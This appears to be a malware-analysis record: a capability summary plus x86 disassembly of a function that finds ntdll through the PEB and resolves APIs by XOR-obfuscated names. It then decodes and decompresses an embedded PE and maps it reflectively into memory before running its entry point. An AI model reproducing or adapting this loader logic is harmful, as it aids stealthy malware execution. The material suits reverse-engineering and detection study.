Function at 0x10001050
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
push 0x50
lea eax, [esp + 0x34]
push 0
push eax
call fcn.100f6a70
mov eax, dword fs:[0x30]
mov dword [esp + 0x64], eax
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
mov edi, dword [eax + 0x18]
mov ecx, dword [esp + 0x3c]
add esp, 0xc
test edi, edi
je 0x100010c5
mov ebx, 0x74
lea ecx, [ecx]
mov esi, dword [eax + 0x30]
movzx edx, word [esi]
cmp edx, 0x4e
je 0x100010a0
cmp edx, 0x6e
jne 0x100010b8
cmp word [esi + 2], bx
jne 0x100010b8
mov edx, esi
mov si, word [edx + 6]
cmp si, word [edx + 8]
jne 0x100010b8
mov ecx, edi
mov dword [esp + 0x30], ecx
test ecx, ecx
jne 0x100010c5
mov eax, dword [eax]
mov edi, dword [eax + 0x18]
test edi, edi
jne 0x10001090
mov edx, dword [ecx + 0x3c]
mov edx, dword [edx + ecx + 0x78]
mov eax, dword [edx + ecx + 0x20]
mov edi, dword [edx + ecx + 0x24]
add edx, ecx
add eax, ecx
mov dword [esp + 0x10], edx
add edi, ecx
mov dword [esp + 0x2c], eax
mov eax, dword [eax]
mov ebx, dword [eax + ecx + 8]
mov edx, dword [eax + ecx]
mov esi, dword [eax + ecx + 4]
add eax, ecx
xor ebx, 0x6820656e
mov dword [esp + 0x14], ebx
mov ebx, dword [eax + 0xc]
xor ebx, 0x6820656e
mov dword [esp + 0x18], ebx
mov ebx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
xor ebx, 0x6820656e
xor edx, 0x6820656e
xor esi, 0x6820656e
xor eax, 0x6820656e
cmp dword [esp + 0x3c], 0
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], ebx
jne 0x10001181
cmp edx, 0x4611234
jne 0x10001181
cmp esi, 0x9430a02
jne 0x10001181
cmp dword [esp + 0x14], 0x176001a
jne 0x10001181
cmp dword [esp + 0x18], 0x955111c
jne 0x10001181
cmp ebx, 0x5452802
jne 0x10001181
cmp eax, 0x68591701
jne 0x10001181
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x3c], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x40], 0
jne 0x100011d0
cmp edx, 0x1a661234
jne 0x100011d0
cmp esi, 0x176000b
jne 0x100011d0
cmp dword [esp + 0x14], 0x955111c
jne 0x100011d0
cmp dword [esp + 0x18], 0x5452802
jne 0x100011d0
cmp dword [esp + 0x1c], 0x68591701
jne 0x100011d0
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x40], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x38], 0
jne 0x10001201
cmp edx, 0x24520122
jne 0x10001201
cmp esi, 0x2c440401
jne 0x10001201
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x38], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x34], 0
jne 0x10001250
cmp edx, 0x2f520122
jne 0x10001250
cmp esi, 0x1a70110b
jne 0x10001250
cmp dword [esp + 0x14], 0xc450601
jne 0x10001250
cmp dword [esp + 0x18], 0x2945171b
jne 0x10001250
cmp dword [esp + 0x1c], 0xd52010a
jne 0x10001250
movzx edi, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea edi, [ebx + edi*4]
mov edi, dword [edi + ecx]
add edi, ecx
mov dword [esp + 0x34], edi
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x48], 0
mov ebx, dword [ebp + 8]
jne 0x100012a8
cmp edx, 0x294c113c
jne 0x100012a8
cmp esi, 0x3b491600
jne 0x100012a8
cmp dword [esp + 0x14], 0x649171a
jne 0x100012a5
cmp dword [esp + 0x18], 0x3d4f3109
jne 0x100012a5
cmp dword [esp + 0x1c], 0x7430c00
jne 0x100012a5
cmp eax, 0x1c73000a
jne 0x100012a5
movzx eax, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea eax, [ebx + eax*4]
mov eax, dword [eax + ecx]
add eax, ecx
mov dword [esp + 0x48], eax
mov ebx, dword [ebp + 8]
mov eax, dword [esp + 0x4c]
test eax, eax
jne 0x100012f7
cmp edx, 0x2e4c113c
jne 0x100012f7
cmp esi, 0x3d45001c
jne 0x100012f7
cmp dword [esp + 0x14], 0x7430c00
jne 0x100012f7
cmp dword [esp + 0x18], 0x1c73000a
jne 0x100012f7
cmp dword [esp + 0x1c], 0xf4e0c1c
jne 0x100012f7
movzx eax, word [edi]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + 0x1c]
lea eax, [ebx + eax*4]
mov eax, dword [eax + ecx]
mov ebx, dword [ebp + 8]
add eax, ecx
mov dword [esp + 0x4c], eax
cmp dword [esp + 0x44], 0
jne 0x1000134d
cmp edx, 0x2c4c113c
jne 0x1000134d
cmp esi, 0x54f060b
jne 0x1000134d
cmp dword [esp + 0x14], 0x1b45171e
jne 0x1000134d
cmp dword [esp + 0x18], 0xe55271d
jne 0x1000134d
xor edx, edx
cmp dword [esp + 0x1c], 0x726566
sete dl
xor edx, 0x6820656e
je 0x1000134d
movzx edx, word [edi]
mov esi, dword [esp + 0x10]
mov esi, dword [esi + 0x1c]
lea edx, [esi + edx*4]
mov edx, dword [edx + ecx]
add edx, ecx
mov dword [esp + 0x44], edx
cmp dword [esp + 0x38], 0
je 0x10001374
cmp dword [esp + 0x3c], 0
je 0x10001374
cmp dword [esp + 0x40], 0
je 0x10001374
cmp dword [esp + 0x34], 0
je 0x10001374
test eax, eax
je 0x10001374
cmp dword [esp + 0x48], 0
jne 0x10001383
mov eax, dword [esp + 0x2c]
add eax, 4
add edi, 2
jmp 0x100010de
xor ecx, ecx
mov eax, 4
lea ebx, [ebx]
movzx edx, word [ebx + 2]
add word [eax + ebx], dx
mov si, word [ebx]
xor si, word [eax + ebx]
lea edx, [ecx + 0x128e]
mov word [eax + ebx], si
add word [ebx], dx
add eax, 2
inc ecx
cmp eax, 0xc
jl 0x10001390
mov eax, dword [ebx + 8]
and eax, 0xfffffffe
mov ecx, 4
cmp eax, 8
jbe 0x100013f9
mov eax, 0xc
lea ebx, [ebx]
movzx edx, word [ebx + 2]
add word [eax + ebx], dx
mov si, word [ebx]
xor si, word [eax + ebx]
lea edx, [ecx + 0x128e]
mov word [eax + ebx], si
add word [ebx], dx
mov edx, dword [ebx + 8]
inc ecx
shr edx, 1
add eax, 2
cmp ecx, edx
jb 0x100013d0
mov eax, dword [ebx + 4]
push 4
push 0x1000
lea ecx, [esp + 0x2c]
push ecx
push 0
lea edx, [esp + 0x60]
push edx
push 0xffffffffffffffff
mov dword [esp + 0x3c], eax
call dword [esp + 0x54]
mov ecx, dword [ebx + 8]
lea eax, [esp + 0x54]
push eax
mov eax, dword [ebx + 4]
push ecx
mov ecx, dword [esp + 0x58]
lea edx, [ebx + 0xc]
push edx
push eax
push ecx
push 0x102
call dword [esp + 0x5c]
mov eax, dword [esp + 0x50]
mov edx, 0x5a4d
mov dword [esp + 0x5c], eax
cmp word [eax], dx
je 0x10001455
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov dword [esp + 0x60], ecx
cmp dword [ecx], 0x4550
jne 0x1000144a
mov eax, dword [ecx + 0x50]
push 0x40
push 0x1000
lea ecx, [esp + 0x2c]
push ecx
push 0
lea edx, [esp + 0x74]
push edx
push 0xffffffffffffffff
mov dword [esp + 0x3c], eax
call dword [esp + 0x54]
mov ecx, dword [esp + 0x64]
xor eax, eax
test ecx, ecx
je 0x1000175b
mov edx, dword [esp + 0x60]
cmp dword [edx + 0x54], eax
jbe 0x100014b8
lea ecx, [ecx]
mov edx, dword [esp + 0x5c]
mov dl, byte [eax + edx]
mov byte [eax + ecx], dl
mov ecx, dword [esp + 0x60]
inc eax
cmp eax, dword [ecx + 0x54]
mov ecx, dword [esp + 0x64]
jb 0x100014a0
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 0x3c]
add eax, ecx
mov dword [esp + 0x68], eax
mov dword [eax + 0x34], ecx
mov esi, dword [esp + 0x68]
movzx eax, word [esi + 0x14]
xor edx, edx
lea ecx, [eax + esi + 0x28]
mov dword [esp + 0x2c], 0
cmp dx, word [esi + 6]
jae 0x10001555
mov edx, dword [ecx]
test edx, edx
jne 0x10001519
mov eax, dword [esp + 0x60]
mov edx, dword [eax + 0x38]
test edx, edx
je 0x10001541
xor eax, eax
test edx, edx
je 0x10001541
jmp 0x10001500
mov edx, dword [ecx - 4]
mov esi, dword [esp + 0x64]
add edx, eax
mov byte [edx + esi], 0
mov edx, dword [esp + 0x60]
inc eax
cmp eax, dword [edx + 0x38]
jb 0x10001500
jmp 0x1000153d
xor eax, eax
test edx, edx
je 0x10001541
nop
mov edx, dword [ecx + 4]
mov edi, dword [esp + 0x50]
mov esi, dword [ecx - 4]
add edx, eax
mov dl, byte [edx + edi]
mov edi, dword [esp + 0x64]
add esi, eax
inc eax
mov byte [esi + edi], dl
cmp eax, dword [ecx]
jb 0x10001520
mov esi, dword [esp + 0x68]
mov eax, dword [esp + 0x2c]
movzx edx, word [esi + 6]
inc eax
add ecx, 0x28
mov dword [esp + 0x2c], eax
cmp eax, edx
jl 0x100014e4
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x60]
mov ecx, eax
sub ecx, dword [edx + 0x34]
mov dword [esp + 0x6c], ecx
je 0x100015e3
cmp dword [esi + 0xa4], 0
jbe 0x100015e3
mov ecx, dword [esi + 0xa0]
mov edx, dword [ecx + eax]
add ecx, eax
test edx, edx
je 0x100015e3
mov ebx, dword [ecx + 4]
lea edi, [eax + edx]
sub ebx, 8
xor edx, edx
lea esi, [ecx + 8]
test ebx, 0xfffffffe
jbe 0x100015d3
lea ebx, [ebx]
movzx eax, word [esi]
mov ebx, eax
and ebx, 0xfffff000
cmp ebx, 0x3000
jne 0x100015bf
mov ebx, dword [esp + 0x6c]
and eax, 0xfff
add dword [eax + edi], ebx
mov eax, dword [ecx + 4]
sub eax, 8
inc edx
shr eax, 1
add esi, 2
cmp edx, eax
jb 0x100015a0
mov eax, dword [esp + 0x64]
add ecx, dword [ecx + 4]
mov edx, dword [ecx]
test edx, edx
jne 0x10001584
mov esi, dword [esp + 0x68]
mov ebx, dword [ebp + 8]
cmp dword [esi + 0x84], 0
jbe 0x10001705
mov ecx, dword [esi + 0x80]
add ecx, eax
mov dword [esp + 0x20], ecx
je 0x10001705
mov edi, dword [esp + 0x20]
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x10001701
add ecx, eax
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x10001627
lea ecx, [ecx]
inc eax
cmp byte [eax + ecx], 0
jne 0x10001620
push 1
lea ecx, [esp + 0x7c]
mov word [esp + 0x7c], ax
push ecx
lea edx, [esp + 0x78]
inc eax
push edx
mov word [esp + 0x86], ax
call dword [esp + 0x54]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x74]
push ecx
push 0
push 0
call dword [esp + 0x48]
lea edx, [esp + 0x70]
push edx
call dword [esp + 0x50]
cmp dword [esp + 0x28], 0
je 0x1000144a
mov ecx, dword [edi]
mov eax, dword [esp + 0x64]
test ecx, ecx
je 0x1000167f
mov edx, dword [edi + 0x10]
lea esi, [eax + ecx]
add edx, eax
jmp 0x10001686
mov esi, dword [edi + 0x10]
add esi, eax
mov edx, esi
mov ecx, dword [esi]
test ecx, ecx
je 0x100016f6
mov edi, edx
jmp 0x10001694
mov eax, dword [esp + 0x64]
test ecx, ecx
jns 0x100016a6
movzx edx, word [esi]
mov eax, dword [esp + 0x28]
push edi
push edx
push 0
push eax
jmp 0x100016dc
lea ecx, [ecx + eax + 2]
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x100016bb
inc eax
cmp byte [eax + ecx], 0
jne 0x100016b4
mov edx, dword [esp + 0x28]
push edi
push 0
lea ecx, [esp + 0x80]
mov word [esp + 0x80], ax
inc eax
push ecx
mov word [esp + 0x86], ax
push edx
call dword [esp + 0x44]
cmp dword [edi], 0
je 0x100016f2
mov ecx, dword [esi + 4]
add esi, 4
add edi, 4
test ecx, ecx
jne 0x10001690
mov eax, dword [esp + 0x64]
add dword [esp + 0x20], 0x14
jne 0x10001602
mov esi, dword [esp + 0x68]
mov esi, dword [esi + 0x28]
add esi, eax
xor ecx, ecx
jmp 0x10001714
mov eax, dword [esp + 0x64]
mov byte [ecx + eax], 0
inc ecx
cmp ecx, 4
jb 0x10001710
xor eax, eax
mov ecx, dword [esp + 0x68]
mov byte [eax + ecx], 0
inc eax
cmp eax, 4
jb 0x10001720
mov edx, dword [esp + 0x68]
cmp dword [edx + 0x28], 0
je 0x10001742
mov eax, dword [esp + 0x64]
push ebx
push 1
push eax
call esi
push 0x4000
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x58]
push edx
push 0xffffffffffffffff
call dword [esp + 0x50]
mov eax, dword [esp + 0x64]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4